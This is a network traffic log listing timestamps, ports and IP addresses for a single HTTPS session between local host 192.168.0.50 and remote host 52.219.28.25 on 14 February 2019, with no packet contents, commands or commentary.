Feb 14, 2019 12:59:40.783766031 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783767939 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.783771038 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783776045 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783781052 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783786058 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783792019 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783884048 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.783994913 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784121990 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784193993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784245968 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.784255028 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.784317017 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784476042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784552097 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784679890 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784792900 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.784868002 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785382032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785389900 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785396099 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785401106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785767078 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.785877943 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.785931110 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785940886 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785945892 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.785995960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786109924 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786227942 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786331892 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786448956 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786565065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786676884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786792994 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.786904097 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.787022114 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.787086964 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.787101984 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.787107944 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.787112951 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.787117958 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.787148952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.787440062 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.787699938 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.788111925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788214922 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788337946 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788433075 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788546085 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788657904 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788693905 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.788707972 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.788712978 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.788743019 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.788775921 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.788892984 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.789005995 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.789248943 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789259911 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789264917 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789269924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789274931 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789303064 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789823055 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.789952993 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.791026115 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.791038036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.791043043 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.791049004 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.791054010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.891185045 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.939451933 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.939532042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.939642906 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.939754009 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.939872980 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.939992905 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.940367937 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.940408945 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.940726042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.940767050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.941317081 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.941435099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.941643953 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.941665888 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.942054033 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.942063093 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.942249060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.942367077 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.942492008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.942604065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.942625999 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.942635059 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.942735910 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.942871094 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.942882061 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.942992926 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943100929 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943253040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943279028 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943387032 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943523884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943649054 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.943665028 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.943974972 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.944041014 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.944173098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.944288015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.944304943 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.944319010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.944324970 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.944514036 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.944832087 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.944842100 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.945075035 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.945162058 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.945285082 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.945394993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.945497990 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.945518970 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.945831060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.945947886 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.946007013 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.946014881 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.946028948 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.946033955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.946038961 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.946086884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946176052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946288109 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946402073 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946547985 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946649075 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946755886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.946857929 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.947032928 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.947046995 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.947488070 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.947591066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.947618008 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.947627068 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.947704077 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.947818995 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.947930098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948060989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948174000 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948179960 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.948194027 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.948199987 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.948204994 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.948292017 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948407888 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948543072 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948654890 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948760986 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948889971 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.948986053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.949256897 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.949270964 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.949276924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.949281931 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.949574947 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.949911118 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.950027943 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.950131893 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.950247049 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.950356960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.950453997 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.950464010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.950469971 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.950473070 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.950957060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.951031923 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.951039076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.951044083 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.951049089 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.951054096 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.952033043 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.952044964 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.952614069 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.952625036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.967895985 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.050143957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.100841045 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.100948095 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101113081 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.101145983 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101182938 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.101275921 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101385117 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101502895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.101548910 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101581097 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.101774931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101807117 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.101922989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.102005959 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.102011919 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.102046013 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.102236032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.102437019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.102552891 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.102802992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.102912903 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103049994 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103111029 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.103187084 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103251934 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103589058 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103662014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.103705883 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103830099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.103935003 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.104911089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.104959965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105071068 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105113029 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105129004 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105134964 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105140924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105196953 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105241060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105309010 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105361938 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105438948 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105586052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105663061 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.105743885 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105767965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105873108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.105952024 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.106014967 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.106046915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.106115103 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.106339931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.106452942 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.106539011 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.106545925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.106637955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.106648922 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.106832981 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.106847048 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.106942892 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.107031107 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.107080936 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.107183933 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.107280970 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.107444048 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.108066082 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.108176947 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.108289003 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.108380079 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.108405113 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.108428955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.108545065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.108741999 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.109209061 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.109359980 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.109469891 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.109610081 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.109678984 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.109740019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.109780073 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.109781027 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.109898090 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.109970093 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.109976053 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.110009909 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110126019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110222101 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.110239029 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110357046 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110357046 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.110467911 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110562086 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.110583067 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110742092 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110780001 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.110821009 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.110929966 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.111006975 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.111043930 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.111156940 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.111268997 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.111318111 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.111634016 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.111740112 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.111843109 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.111854076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.111922026 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.111968040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.112166882 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.126863956 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.127141953 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.260080099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260174036 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260293007 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260349989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260365009 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.260493040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260504007 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.260710955 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260876894 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.260910034 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.260977030 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261099100 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261146069 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.261244059 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.261262894 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261290073 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261435032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.261444092 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.261610985 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261728048 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261944056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.261948109 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.262106895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.262588978 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.262701988 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.262887955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.264372110 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.264472961 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.264622927 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.264671087 MEZ	443	49289	52.219.28.25	192.168.0.50
